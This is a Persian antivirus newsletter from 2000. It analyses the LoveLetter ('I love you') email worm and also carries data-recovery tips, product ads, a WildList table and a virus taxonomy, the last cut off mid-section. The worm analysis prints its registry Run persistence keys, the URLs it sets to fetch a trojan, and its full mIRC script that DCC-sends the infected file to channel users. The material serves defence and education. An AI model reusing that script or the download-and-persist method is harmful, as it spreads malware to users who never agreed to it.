خبرنامه تخصصی ایمن

۲

سال اول / شماره ۲ /بهار ۱۳۷۹ / ۲۴ صفحه / ۱۰۰۰ ریال

- درباره ویروسها
- آشنایی با ویروس I love you
- مصاحبه با Zulu
- آشنایی با گروه 29A

و . . .

آزمایشگاه تحقیقات ویروسهای رایانه‌ای

به نام خداوند یکتا

سرمقاله

یک فصل از انتشار اولین شمارهٔ خبرنامهٔ تخصصی **ایمن** گذشت و اینک دومین شمارهٔ این خبرنامه در پیش روی شماست. پس از استقبالی که از شمارهٔ اول این خبرنامه صورت گرفت، در این شماره سعی کردیم تا مطالب را بصورتی پربارتر و مفیدتر در اختیار علاقمندان قرار دهیم تا بیش از پیش مورد استفادهٔ شما خوانندگان گرامی قرار بگیرد. همچنین از این پس تلاش ما بر آن خواهد بود تا مطالب را به صورتی علمی‌تر و پایه‌ای‌تر مطرح کنیم تا زمینهٔ آشنایی هرچه بیشتر شما با دنیای ویروسها و ویروس‌نویسها فراهم گردد.

در پایان امیدواریم که به کاستی‌های این نشریه به دیدهٔ اغماض بنگرید و با انتقادات و پیشنهادهای سازندهٔ خود ما را در ادامهٔ این راه یاری فرمایید. جای دارد بار دیگر یادآوری کنیم که خبرنامهٔ تخصصی ایمن آمادهٔ پذیرش مقالات شما عزیزان می‌باشد تا نشریه‌ای پربار و همگانی که حاصل تلاش همگی علاقمندان به این زمینه است، داشته باشیم.

متشکریم.

****

« تذکر »

- ✓ استفاده از مقالات این خبرنامه با ذکر منبع خبربلامانع می باشد.
- ✓ علاقمندان می توانند مقالات خود را برای درج به این نشریه ارسال نمایند.
- ✓ خبرنامه ایمن در تغییر و اصلاح مطالب آزاد است .
- ✓ خبرنامه ایمن در چاپ یا حذف مطالب ارسالی آزاد می باشد.

آزمایشگاه تحقیقات ویروسهای رایانه‌ای

شرکت مهندسی مهران رایانه
Mehran Rayaneh Co

تهران ـ خیابان جمهوری اسلامی ـ بین جمالزاده و کارگر ـ شماره ۳۷۱ ـ طبقه سوم ـ تلفن: ۶۴۲۳۵۷۷ (سه خط)
نمابر : ۶۴۲۳۴۰۸

آشنایی با یک ویروس خارجی

ویروس VBS/LoveLetter یا I Love You :

اخیراً رسانه‌های گروهی اخبار شیوع ویروس VBS/LoveLetter (یا همان I love you) از طریق پست الکترونیکی و خسارتهای ناشی از آن را اعلام کرده‌اند. در این مقاله توضیحاتی در مورد مشخصات و رفتار این ویروس ارائه می‌گردد.

مشخصات ویروس:

این ویروس بوسیلهٔ نامه‌های الکترونیکی (Email) منتشر می‌شود. فایل ویروس که در واقع یک Script نوشته شده به زبان Visual Basic است، درون نامه‌هایی با عنوان "I love you" قرار دارد. معمولاً نام این فایل Love-letter-for-you.TXT.VBS است که البته ممکن است با نام‌های دیگر و یا اینکه درون نامه‌های دیگر نیز باشد.

نحوهٔ تکثیر و انتشار ویروس:

در صورت دریافت نامهٔ حاوی این ویروس و باز کردن و اجرای فایل VBS آلودهٔ همراه آن در محیطهای Win9X ، Win NT و یا Win 2000 که قابلیت اجرای Visual Basic Scriptها را دارند، Script درون فایل VBS اجرا شده و ویروس شروع به کار می‌کند. به این صورت که ابتدا فایل VBS آلوده را با نام‌های MSKernel32.VBS و Love-letter-for-you.TXT.VBS در مسیر System و نیز با نام Win32DLL.VBS در مسیر اصلی Windows کپی می‌کند. همچنین یک کپی از ویروس بصورت HTML با نام Love-letter-for-you.HTM در مسیر System ایجاد می‌شود. سپس برای اینکه در هر بار راه‌اندازی سیستم و هنگام شروع Windows ویروس اجرا شود، فایلهای آلوده را بصورت زیر در Registry ثبت می‌کند:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32\System مسیر دایرکتوری\MSKernell32.VBS

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL\Windows مسیر دایرکتوری اصلی\Win32DLL.VBS

بعد از ثبت در Registry ، چنانچه فایل WinFat32.EXE در مسیر System وجود نداشته باشد، یکی از ۴ عدد URL زیر به صورت تصادفی انتخاب شده و در Start page نرم‌افزار Internet Explorer در Registry ثبت می‌گردد:

www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw658734
5gvsdf7679njbvYT/WIN-BUGSFIX.EXE

www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324
hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.EXE

www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhf
gER67b3Vbvg/WIN-BUGSFIX.EXE

www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgq
werasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-
BUGSFIX.EXE

با این کار، هنگام اجرای نرم‌افزار Internet Explorer ، در صورت برقرار بودن ارتباط با اینترنت و وجود داشتن سایتی با آدرس ثبت شده، فایل WIN-BUGSFIX.EXE موجود در آن سایت (در صورتی که فایل و سایت هر دو وجود داشته باشند)، بر روی کامپیوتر Download و کپی خواهد شد. اگر این فایل از طریق اینترنت دریافت و در مسیر فایل‌های Download شده از اینترنت و یا مسیر C:\ وجود داشته باشد، ویروس نام و مسیر این فایل EXE را که در واقع یک ترویا (Trojan) است در Registry به صورت زیر ثبت می‌کند تا هنگام راه‌اندازی مجدد سیستم و اجرای Windows، این فایل EXE اجرا شده و عملیات تخریبی خود را انجام دهد:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\WIN-BUGS-FIX\WIN-BUGSFIX.EXE مسیر و نام فایل

تا اینجای کار، ویروس فقط خود را در کامپیوتری که بر روی آن اجرا می‌شود کپی کرده و عملیات مورد نظر خویش را در Registry ثبت کرده است و اکنون می‌خواهد ویروس را برای کامپیوترهای دیگر ارسال کند. البته عملیات ارسال ویروس توسط پست الکترونیکی و با استفاده از نرم‌افزار Outlook Express انجام خواهد شد و چنانچه این نرم‌افزار بر روی سیستم نصب نبوده و یا اینکه ارتباط با سرویس‌های پست الکترونیکی برقرار نباشد، ویروس نمی‌تواند خود را ارسال کند. نحوهٔ ارسال به این صورت است که ابتدا نامه‌ای با عنوان "I love you" و متن

"Kindly check the attached LOVELETTER coming from me"

ایجاد شده و فایل Love-letter-for-you.TXT.VBS موجود در مسیر System به آن ضمیمه می‌شود. سپس نامهٔ ایجاد شده به آدرسهایی که در کتابچهٔ آدرس (Address Book) نرم‌افزار Outlook Express وجود دارند و قبلاً نامهٔ آلوده برای آنها ارسال نگردیده است، فرستاده می‌شود. لازم به یادآوری است که ویروس، آدرس‌های پست الکترونیکی را که قبلاً به آنها نامهٔ آلوده فرستاده است، در Registry در قسمت

HKEY_CURRENT_USER\Software\Microsoft\WAB

ثبت می‌کند و با خواندن آدرس‌های ثبت شده در Registry ، می‌تواند آن آدرس‌هایی را که قبلاً برایشان ویروس را ارسال کرده، پیدا کند.

عملیات تخریبی ویروس:

حالا زمان انجام عملیات تخریبی ویروس فرارسیده است. این ویروس به دنبال فایل‌های با پسوند خاص در تمامی دیسک‌های سخت و درایوهای شبکهٔ متصل به سیستم آلوده می‌گردد. در مورد فایل‌های پیدا شده بر حسب نوع فایل‌ها به ترتیب زیر عمل می‌کند:

محتوای فایل‌های با پسوند VBS و VBE پیدا شده را کاملاً از بین برده و محتوای فایل VBS آلوده را بر روی آنها کپی می‌کند. همین کار را بر روی فایل‌های با پسوند JS ، JSE ، CSS ، WSH ، SCT و HTA انجام می‌دهد و پسوند تمامی این فایل‌ها را به VBS تغییر می‌دهد.

بر روی فایل‌های با پسوند JPG و JPEG نیز همین کار را انجام می‌دهد با این تفاوت که در مورد این فایل‌ها پسوند فایل را تغییر نمی‌دهد بلکه یک پسوند VBS به پسوند قبلی فایل اضافه می‌کند. مثلاً فایل TEST.JPG به TEST.JPG.VBS تبدیل خواهد شد که درون آن ویروس است.

در تمامی موارد فوق، محتوای فایل‌های اصلی کاملاً از بین رفته و به جای محتوای اصلی، VBS ویروس جایگزین آنها می‌شود. بنابراین در صورت اجرای هر کدام از این فایل‌ها، ویروس اجرا خواهد شد.

این ویروس همچنین به دنبال فایل‌های با پسوند MP2 یا MP3 نیز می‌گردد و در صورت پیدا کردن چنین فایل‌هایی، بدون اینکه محتوای فایل‌های اصلی را از بین ببرد، یک فایل مخفی (Hidden) ، همنام با آن فایل و با همان پسوند ولی با یک پسوند اضافی VBS ایجاد کرده و VBS آلوده را در فایل ایجاد شده می‌نویسد.

ضمناً در هر مسیری که یکی از فایل‌های mirc32.exe ، mlink32.exe ، mirc.ini ، script.ini و یا mirc.hlp وجود داشته باشد، یک فایل به نام Script.ini ایجاد می‌شود که حاوی عبارات زیر است:

```
[script]
;mIRC Script
;  Please dont edit this script... mIRC will corrupt, if mIRC will
    corrupt... WINDOWS will affect and will not run correctly. thanks
;
;Khaled Mardam-Bey
;http://www.mirc.com
;
n0=on 1:JOIN:#:{
n1=  /if ( $nick == $me ) { halt }
n2=  /.dcc send $nick C:\WIN98\SYSTEM\LOVE-LETTER-FOR-YOU.HTM
n3=}
```

راه‌های مبارزه با این ویروس:

نخست توصیه می‌شود که حتی‌الامکان از باز کردن نامه‌های مشکوک و اجرا نمودن فایل‌های ضمیمهٔ آنها خصوصاً نامه‌هایی با عنوان "I love you" خودداری گردد.

در مرحلهٔ بعد می‌توان از یک نرم‌افزار ضدویروس مناسب برای چک کردن سیستم، فایل‌ها و نامه‌های الکترونیکی استفاده کرد. در اینجا لازم به ذکر است که در پی انتشار ویروس VBS/LoveLetter ، کارشناسان آزمایشگاه تحقیقات ویروسهای رایانه‌ای ICVL (Imen Computer Virology Laboratory) با تحقیقات وسیع و تلاش گستردهٔ خود، دو روز پس از انتشار خبر مربوط به شیوع این ویروس، موفق به شناسایی و پاکسازی این ویروس مخرب گردیدند و در حال حاضر **نسخهٔ ۹/۳ نرم‌افزار ضد ویروس** ایمن قادر به شناسایی و پاکسازی کامل این ویروس خطرناک می‌باشد.

آزمایشگاه تحقیقات ویروسهای رایانه‌ای/شرکت مهندسی مهران رایانه

اردیبهشت ۱۳۷۹

****

خواننده گرامی :

❖ برای دیدن صفحه **ایمن** برروی شبکه جهانی اینترنت به آدرسهای زیر مراجعه نمایید :

imen.cjb.net
imen.homepage.com
imen_av.tripod.com
www.geocities.com/imen_av

علاقمندان می توانند جهت دریافت شماره های بعدی این خبرنامه فرم مشخصات زیر یا کپی آنرا به دفتر مرکزی این شرکت به آدرس : تهران ـ خیابان جمهوری ـ بین جمالزاده و کارگر ـ شماره ۳۷۱ ـ طبقه سوم ـ شرکت مهندسی مهران رایانه ارسال نمایند .

حقوقی / نام سازمان یا شرکت : .....

حقیقی / نام و نام خانوادگی: .....

آدرس : .....

شماره تماس : ..... **مهر و امضاء**

بازیابی اطلاعات (قسمت دوم)

با توجه به توضیحات داده شده در قسمت اول این مقاله در شمارهٔ قبل خبرنامه و همچنین با توجه به اینکه بعضی مواقع بازیابی اطلاعات غیر ممکن می‌شود، باید این نکته را تذکر داد که همواره باید از اطلاعات نسخهٔ پشتیبان تهیه شده و در محل دیگری نگهداری گردد. زیرا در مواردی مانند سرقت، آتش‌سوزی و غیره علاوه بر اطلاعات، سخت‌افزار نیز از بین می‌رود و در نتیجه اطلاعات دیگر قابل بازیابی نمی‌باشد. در هر حال بعضی از کاربران وقتی مدت مدیدی اقدام به گرفتن نسخهٔ پشتیبان می‌کنند و در ظاهر می‌بینند مشکلی نیز وجود ندارد، کم‌کم در این مورد سهل‌انگاری کرده و تهیهٔ نسخهٔ پشتیبان روزانه، تبدیل به هفتگی و یا ماهانه و بعضی مواقع نیز سالانه می‌شود و در صورتیکه یک ویروس جدید سیستم‌ها را از کار بیاندازد، آنگاه عمق فاجعه مشخص می‌شود.

حال اگر چنین مشکلی پیش آمد در شروع چه اقداماتی را باید انجام داد؟ ما موارد زیر را پیشنهاد می‌کنیم:

۱- از هر گونه دستکاری اضافه‌تر توسط افراد و یا با توسل به نرم‌افزارهای مختلفی مانند NDD ، CHKDSK ، SCANDISK و FDISK خودداری کنید، زیرا به تجربه می‌توان گفت که در این صورت بهم ریختگی داده‌ها بیشتر می‌شود و بعضی مواقع نیز بازیابی اطلاعات را غیرممکن می‌نماید.

۲- نظرات افراد صاحب نظر را در این زمینه جویا شوید.

۳- چنانچه بعد از تصمیم گیری، اقدام به واگذاری هارددیسک به شخص یا شرکتی نمودید، حتماً بخواهید که در روی هارددیسکی مشابه، اطلاعات شما را به صورت سکتوری کپی کرده و سپس عملیات بازیابی اطلاعات روی هارددیسک دوم انجام بگیرد، تا وضعیت هارددیسک اصلی تغییر نکند. بدین ترتیب امکان بازیابی توسط شرکت دیگری را از دست نمی‌دهید.

۴- عمل بازیابی اطلاعات مانند عمل جراحی است که بهرحال هر پزشکی روشی جهت کار خود دارد و هر چقدر شناخت بیشتری از مشکل داشته باشد امکان نتیجه‌گیری بالاتر می‌رود. در هر صورت اگر روی اطلاعات اولیه اطلاعات دیگری کپی شود، امکان بازیابی آن اطلاعات اولیه کاملاً از بین رفته است.

در پایان لازم به ذکر است که **شرکت مهندسی مهران رایانه** بعنوان اولین مرکز خدمات بازیابی اطلاعات با پنج سال سابقه درخشان در زمینهٔ بازیابی اطلاعات، آمادهٔ ارائهٔ خدمات در مورد بازیابی هارددیسکهای Windows ، DOS و شبکه‌های UNIX، Windows NT و Novell می‌باشد و تاکنون توانسته‌ایم هزاران شرکت و سازمان معتبر را در رسیدن به اطلاعات ذیقیمت خود یاری دهیم . (ادامه دارد)

DATA Recovery

ایمن ۹/۳

کاملترین ضد ویروس برای بازار نرم‌افزار ایران

- پشتیبانی جدید ترین ویروسهای شایع ایرانی و خارجی از جمله :

VBS / LoveLetter (I love you)
W32 / FunLove
W95 / Babylonya
HF - Love - 2000
CHK- 1295

- افزایش تعداد ویروسها به ۴۸۹ عدد
- دارای Helpهوشمند و **User Friendly**
- ویروس‌یاب و گارد ایمن رایگان
- اجرای تحت شبکه و دارای امکانات دیسک نجات
- خدمات مشاوره و راه حل برای ویروسهای جدید

محصولی از شرکت
مهندسی مهران رایانه

جدول ویروسهای گزارش شده در نقاط مختلف دنیا WildList

در این شماره، WildList مربوط به ۴ ماه اول سال ۲۰۰۰ را برای شما آماده کرده‌ایم. همانطور که مشاهده می‌نمایید اغلب ویروسهای گزارش شده از نوع ماکرو می‌باشند. لازم بذکر است هیچ یک از این ویروسها در ایران به عنوان ویروس شایع گزارش نشده‌اند.

نام ویروس	نوع	نام ویروس	نوع
Dir-II.A	فایل	W97M/Eight941.E	ماکرو
JS/Kak.worm	فایل	W97M/Ethan	ماکرو
JS/Unicle.A	فایل	W97M/Jerk.A	ماکرو
V-Sign	فایل	W97M/Marker	ماکرو
VBS/Netlog.A	فایل	W97M/Melissa.O-mm	ماکرو
W32/Fix2001.worm	فایل	W97M/Myna	ماکرو
W32/Kriz.4029	فایل	W97M/Nottice.AA	ماکرو
W32/NewApt	فایل	W97M/Odious.A	ماکرو
W32/Winext.worm	فایل	W97M/Opey.A	ماکرو
W95/Lovesong.998	فایل	W97M/RV.A	ماکرو
W97M/Astia.L	ماکرو	W97M/TWNO.AC	ماکرو
W97M/Bablas.A	ماکرو	W97M/Verlor.A	ماکرو
W97M/Chack.B	ماکرو	W97M/Visor.A	ماکرو
W97M/Class.ED	ماکرو	W97M/Wrench.C	ماکرو
W97M/Claud.A	ماکرو	XM/Laroux.JO	ماکرو
W97M/Ded	ماکرو		

دربارهٔ ویروسها (قسمت اول):

ویروسهای کامپیوتری معضلاتی رو به رشد می‌باشند. در سال ۱۹۸۹ تعداد ویروسها در کل دنیا به تعداد انگشتان دست بود. یک سال بعد تعداد آنها به ۵۰ عدد رسید و در سالهای بعد از آن تعدادشان به ۲۰۰ عدد بالغ می‌شد. در ژانویهٔ ۱۹۹۸ تعداد ویروسها در سراسر دنیا به حدود ۱۵۰۰۰ ویروس رسید. هم اکنون در هر ماه، بین ۳۰۰ تا ۳۵۰ ویروس جدید گزارش می‌شود.

خیلی از مردم هنگامی که نام ویروس را می‌شنوند دچار وحشت می‌شوند. با این حال به یاد داشته باشید که ویروسهای کامپیوتری قابل پیشگیری هستند.

به خاطر داشته باشید که ممکن است مشکلات دیگر اشتباهاً به عنوان یک مشکل ویروسی تفسیر شوند. این مشکلات شامل باگها (Bug) ، اختلالات نرم‌افزارهای سطح پایین، ترویاها (Trojan) ، بمبهای زمانی و منطقی، جکها(Joke) و اشتباهات انسانی می‌باشند.

در ادامه برای آشنایی هر چه بیشتر با ویروسها بحث را به سه قسمت عمده تقسیم می‌کنیم. این سه قسمت شامل موارد زیر است:

- ویروس چیست؟
- انواع ویروسها (طبقه بندی ویروسها).
- پیشگیری از آلودگی ویروسی.

حال به تفصیل به دو مبحث اول می‌پردازیم و مبحث پیشگیری از آلودگی ویروسی را به قسمت دوم مقاله در شمارهٔ بعدی خبرنامه موکول می‌کنیم :

ویروس چیست؟

ویروسهای کامپیوتری برنامه‌هایی هستند که می‌توانند تکثیر شوند. با اینکه نرم‌افزارهای دیگری نیز وجود دارند که می‌توانند مشکلاتی را در کامپیوتر شخصی شما بوجود آورند، اما هیچکدام از آنها نمی‌توانند تکثیر شوند. بنابراین تکثیر مشخصهٔ مشترک تمامی انواع ویروسها (از جمله ویروسهای فایلی، ویروسهای ماکرو، ویروسهای بوت‌سکتوری و پارتیشنی، ویروسهای همراه، ویروسهایی که روی فایلها می‌نویسند، ویروسهای چند جزئی و...) می‌باشد. همچنین Dropperها و Packagerها برنامه‌هایی هستند که به انتشار ویروسها کمک می‌کنند.

از دیگر مشخصه‌های ویروسها قابلیت مخفی‌کاری، چندشکلی بودن، نامهای ویروسها، گونه‌های مختلف آنها و نحوهٔ انتشار آنها می‌باشد. ویروسها معمولاً بدون آنکه شما متوجه شوید خودشان را کپی می‌کنند. به عنوان مثال ممکن است ویروسی خود را به برنامهٔ FORMAT بچسباند و هرگاه که شما دیسکتی را فرمت می‌کنید، اجرا گردد. حال این سؤال مطرح است که اگر ویروسها هیچ کاری انجام نمی‌دهند و فقط خودشان را کپی می‌کنند پس چرا به عنوان مشکل درآمده‌اند؟

اولاً بیشتر ویروسها دارای اثرات عمدی یا تصادفی می‌باشند. بعضی از این اثرات بی‌ضرر به نظر می‌آیند؛ آنها ممکن است به سادگی یک پیغام را نمایش بدهند، باعث ریزش حروف روی صفحهٔ نمایش به پایین شوند یا یک آهنگ پخش کنند. اما بسیاری از این اثرات بگونهٔ خاصی طراحی شده‌اند تا مخرب باشند از جملهٔ این اثرات مخرب، نوشتن بر روی داده‌ها یا پاک کردن فایل‌ها از روی دیسک‌سخت می‌باشد. بعلاوه بسیاری از ویروسها بخاطر اشکالات نرم‌افزاری، آنگونه که نویسندهٔ آنها قصد داشته است عمل نمی‌کنند. اثرات اینگونه ویروسها غیرقابل پیش‌بینی است. از نقطه نظر کاربر اهمیتی ندارد که خسارت ایجاد شده بوسیلهٔ یک ویروس، یک کار عمدی بوسیلهٔ نویسندهٔ ویروس بوده است یا یک اشتباه در برنامه.

ثانیاً بسیاری از ویروسها در حافظهٔ کامپیوتر شما مقیم می‌شوند و به این وسیله می‌توانند با دخالت کردن در روند اجرای برنامه‌های دیگر مشکلاتی را بوجود آورند. Windows 9X بصورت عادی از این مسئله جلوگیری می‌کند. هر چند امروزه ویروسهایی وجود دارند که در محیطهای ۳۲ بیتی نیز در حافظه مقیم می‌شوند.

ثالثاً فرض کنید شما یک ویروس بر روی کامپیوترتان داشته‌اید. بسیار محتمل است که بصورت غیرعمدی این ویروس را به یک همکار یا یک مشتری انتقال دهید که ممکن است باعث از بین رفتن اعتماد آن شخص به شما و شرکت شما گردد.

بسیاری از ویروسهای موجود، برای اجرای تحت DOS طراحی شده بودند تا از خصیصه‌های غیر مستند DOS بهره بگیرند. ویروسهای ماکرو بسیار عمومیت دارند. آنها با زبان ماکروی برنامه‌های کاربردی مانند Word ماکروسافت نوشته می‌شوند و بالقوه می‌توانند هر محیطی را که می‌تواند این برنامه‌های کاربردی را اجرا کند، آلوده کنند.

هیچ ویروسی کاملاً بی‌ضرر نیست؛ همگی آنها وقت شما، وقت پردازنده، حافظه و فضای دیسک شما را تلف می‌کنند.

انواع ویروسها:

ویروس برنامه‌ایست که خودش را بدون آگاهی کاربر کامپیوتر کپی می‌کند. بصورت نوعی، یک ویروس از یک کامپیوتر به کامپیوتر دیگر با اضافه کردن خودش به یک تکه کد اجرایی انتشار می‌یابد که در این صورت با اجرای کد میزبان، اجرا می‌گردد.

ویروسها می‌توانند بوسیلهٔ روش پنهان شدنشان دسته بندی شوند. بعضی از آنها ویروسهای مخفی‌کار نامیده می‌شوند به خاطر روشی که آنها خودشان را پنهان می‌کنند و بعضی دیگر ویروسهای چندشکلی نامیده می‌شوند به خاطر روشی که آنها خودشان را برای گمراه کردن جستجوگرها تغییر می‌دهند.

بعضی از ویروسها در حافظه مقیم می‌شوند. این ویروسها آنهایی هستند که احتمال بیشتری دارد با آنها برخورد کنید در حالیکه ویروسهای غیرمقیم به اندازهٔ کافی قابلیت تکثیر خوبی ندارند.

گونه‌های ویروسها:

- ویروسهای فایلی.
- ویروسهای ماکرو.
- ویروسهای بوت و پارتیشن سکتوری.

- ویروسهای همراه.
- ویروسهای رونویس (ویروسهایی که روی فایل‌ها می‌نویسند).
- کرمها.

چیزهایی که ویروس نیستند:

- باگها.
- اشکالات نرم‌افزارهای سطح پایین.
- ترویاها.
- جکها.
- اشتباهات انسانی.
- Dropperها.
- Packagerها.
- ویروسهای فرضی.
- بمبهای زمانی و منطقی.

اکنون به توضیح هر یک از موارد فوق می‌پردازیم:

ویروسهای فایلی:

ویروسهای فایلی، فایلهای برنامه‌های قابل اجرا را آلوده می‌کنند. اینگونه ویروسها معمولاً اما نه همیشه دارای پسوند فایلی COM یا EXE هستند. وقتی که یک برنامهٔ آلوده اجرا شود، ابتدا ویروس اجرا شده و سپس کنترل را به برنامهٔ اصلی برمی‌گرداند. تا هنگامی که کنترل در دست ویروس باشد، ویروس با تکثیر کردن خود، خود را در فایلی دیگر یا در دیسکی دیگر کپی می‌کند.

یک ویروس فایلی با عملکرد مستقیم فایل یا فایل‌های اجرایی دیگر را وقتی که فایل اجرایی میزبانش اجرا شود، آلوده می‌کند؛ اما در حافظه مقیم نمی‌ماند.

یک ویروس فایلی با عملکرد غیر مستقیم یا مقیم در حافظه (TSR)، وقتی که میزبانش اجرا می‌شود، خودش را در حافظه قرار می‌دهد و فایلهای دیگر را وقتی که متعاقباً در دسترس قرار بگیرند، آلوده می‌کند (اغلب اینگونه ویروسها وقتی که برنامه‌ها اجرا شوند آنها را آلوده می‌کنند). این نوع از ویروسها همچنین می‌توانند بصورت عمدی یا تصادفی در عملکرد دیگر برنامه‌های مقیم در حافظه، مداخله کنند. بعضی از ویروسهای مقیم در حافظه برنامه‌های دیگر را وقتی که باز شوند یا کپی گردند همانگونه که وقتی اجرا شوند، آلوده می‌کنند.اینگونه ویروسها با عنوان آلوده کنننده‌های سریع شناخته می‌شوند.

ویروسهای ماکرو:

ویروسهای ماکرو، فایل‌های بصورت ماکرو یا OLE objectها را آلوده می‌کنند. یک مثال برای اینگونه ویروسها، ویروس WM/Concept است که اسناد برنامهٔ Word 6 را آلوده می‌کند. این ویروس می‌تواند اسناد Word 6 را تحت هر سیستم عاملی شامل Windows 3.x ، Windows 95 ، Windows NT و OS/2 آلوده کند.

ویروسهای نرم‌افزارهای Excel و Ami-Pro نیز پیدا شده‌اند. این مشکل برای تمام برنامه‌هایی که دارای زبان ماکرو هستند، در حال رشد است.

ویروسهای Boot Sector و Partition Table:

Boot Sector بخشی از هر دیسک‌سخت و دیسکت فلاپی است که هنگامی که سیستم از روی آنها راه‌اندازی شود، بوسیلهٔ کامپیوتر خوانده می‌شود. Boot Sector یک دیسک سیستم شامل کدی است که برای بار کردن فایل‌های سیستم ضروری است. دیسکهایی که شامل داده هستند و غیر سیستم می‌باشند، حاوی کدی هستند که برای نمایش پیغامی مبنی بر اینکه کامپیوتر نمی‌تواند بوسیلهٔ آن راه‌اندازی شود، لازم است.

سکتور پارتیشن اولین بخشی از یک دیسک‌سخت است که بعد از راه‌اندازی سیستم خوانده می‌شود. این سکتور شامل اطلاعاتی دربارهٔ دیسک از قبیل تعداد سکتورها در هر پارتیشن و موقعیت تمام پارتیشن‌ها می‌باشد. سکتور پارتیشن، همچنین رکورد اصلی راه‌اندازی یا Master Boot Record (MBR) نیز نامیده می‌شود.

بسیاری از کامپیوترها طوری پیکربندی شده‌اند که ابتدا از روی درایو A: راه‌اندازی شوند. اگر Boot Sector یک دیسکت فلاپی آلوده باشد، وقتی که قصد دارید سیستم را از روی دیسکت فلاپی راه‌اندازی کنید، ویروس اجرا می‌شود و دیسک‌سخت را آلوده می‌کند.

برای مثال، وقتی شما بعد از اتمام کارتان دیسکتی را در درایو فلاپی جا بگذارید، روز بعد که کامپیوترتان را روشن می‌کنید، پیغام زیر یا چیزی شبیه آن نمایش داده می‌شود:

```
Non-system disk or disk error
Replace and press any key when ready
```

اگر این دیسکت با یک ویروس بوت سکتوری آلوده شده باشد، ویروس پیش از این اجرا شده است و ممکن است کامپیوتر شما را نیز آلوده کرده باشد.

کامپیوترهای برپایهٔ Intel در برابر ویروسهای Boot Sector و Partition Table آسیب‌پذیر هستند.اینگونه ویروسها می‌توانند هر کامپیوتری را صرف‌نظر از نوع سیستم عامل آن تا وقتی که ویروس قبل از بالا آمدن سیستم اجرا گردد، آلوده کنند.

ویروسهای همراه:

اگر شما یک فایل با پسوند COM و یک فایل با پسوند EXE ولی همنام داشته باشید، در صورتیکه بدون ذکر پسوند بخواهید یکی از این فایل‌ها را اجرا کنید، DOS همیشه اولویت را به فایل با پسوند COM می‌دهد. ویروسهای

همراه از این موضوع استفاده می‌کنند. به این ترتیب که یک فایل COM همنام با فایلEXE اصلی ایجاد می‌کنند و خود را در آن می‌نویسند. در صورتیکه کاربر بخواهد فایل EXE را بدون ذکر پسوند اجرا کند ابتدا فایل COM ویروسی اجرا می‌شود و پس از انجام عملیات تکثیر و تخریبی خود، کنترل را به فایل EXE اصلی برمی‌گرداند تا بصورت عادی اجرا گردد.

بعضی از ویروسهای همراه فایل آلوده‌ای را که ایجاد می‌کنند در دایرکتوری که نام آن قبلاً جلوی عبارت =PATH در فایل config.sys نوشته شده است قرار می‌دهند. در این حالت نیز اولویت اجرا با فایل آلوده است.

ویروسهای رونویس:

ویروسهای رونویس بسادگی روی فایلی که آنرا آلوده می‌کنند، خود را می‌نویسند، بنابراین اینگونه برنامه‌ها دیگر اجرا نخواهند شد. از آنجایی که این مسئله باعث می‌شود این ویروسها سریع شناسایی شوند، لذا خیلی خوب پخش نمی‌شوند و تهدید جدیی نیستند. فایل‌های آلوده شده بوسیلهٔ ویروسهای رونویس قابل پاکسازی نمی‌باشند.

ویروسهای چند جزیی:

بعضی از ویروسها، ترکیبی از تکنیکها را برای انتشار استفاده می‌کنند و فایل‌های اجرایی، Boot sector و Partition Table را آلوده می‌کنند. اینگونه ویروسها معمولاً تحت Windows 9X یا Windows NT انتشار نمی‌یابند.

کرمها:

کرمها قابلیت تکثیر دارند ولی فایلی را آلوده نمی‌کنند بلکه خودشان را به همان صورت و به شکل یک فایل مجزا کپی می‌کنند. معروفترین و شایع‌ترین کرمها، کرمهایی هستند که تنها افرادی را که از نرم‌افزار mIRC برای دستیابی به IRC (Internet Relay Chat) استفاده می‌کنند، آلوده می‌کند. کاربرهای دیگر کامپیوترها هرگز نمی‌توانند به اینگونه کرمها آلوده شوند. آنها از یک نکته در طرح نرم‌افزار mIRC که اجازه می‌دهد فایل Script پیش‌فرض (Script.ini) وقتی که فایلها با استفاده از پروتکل DDC انتقال داده می‌شوند رونویسی شود، بهره‌برداری می‌کنند.

باگها:

باگ یک اشتباه غیرعمدی در یک برنامه است و می‌تواند به غلط به عنوان یک ویروس تفسیر شود. بصورت بالقوه تمام برنامه‌های پیچیده دارای باگ هستند. باگهای کوچکتر تنها دردسرهایی را موجب می‌شوند در حالیکه باگهای بزرگتر می‌توانند مشکلات مصیبت‌باری نظیر از دست دادن داده‌ها و اطلاعات را باعث شوند.

راهی برای پیدا کردن باگها وجود ندارد و تنها تدبیر دفاعی در برابر آنها اینست که بطور مرتب از اطلاعات مهم خود پشتیبان بگیرید.

اشکالات نرم‌افزارهای سطح پایین:

برنامه‌های سطح پایین برنامه‌هایی هستند که مستقیماً روی دیسک کار می‌کنند. آنها به این دلیل به این نام خوانده می‌شوند که پایین‌تر از سطح سیستم عامل -که در حالت عادی دستیابی به دیسکها را کنترل و دستورات مشخصی

را اجرا می‌کند- کار می‌کنند. اشکالات ناشی از این برنامه‌ها می‌تواند به غلط به عنوان اثرات ویروسها تفسیر شود.

برنامه‌های سطح پایین عبارتند از:

- ویرایشگرهای سکتور دیسک.
- برنامه‌های کَش‌کنندهٔ دیسک.
- نرم‌افزارهای فشرده‌سازی دیسک.
- نرم‌افزارهای Defrag کننده.

این برنامه‌ها معمولاً اگر در هر زمان فقط یکی از آنها اجرا شود، کاملاً بی‌خطر هستند، اما اشکلات وقتی ممکن است روی دهد که در یک زمان دو یا چند برنامهٔ سطح پایین اجرا شوند. اگر دو یا چند برنامه سعی کنند به دیسک دستیابی کنند، برخوردهای بالقوهٔ خطرناکی ممکن است روی دهد. از آنجایی که اینگونه نرم‌افزارها بسیار متداول شده‌اند، این نوع مشکلات نیز بیشتر هستند و بیشتر احتمال دارد که رخ بدهند.

راه‌های اجتناب از مشکلات ناشی از نرم‌افزارهای سطح پایین:

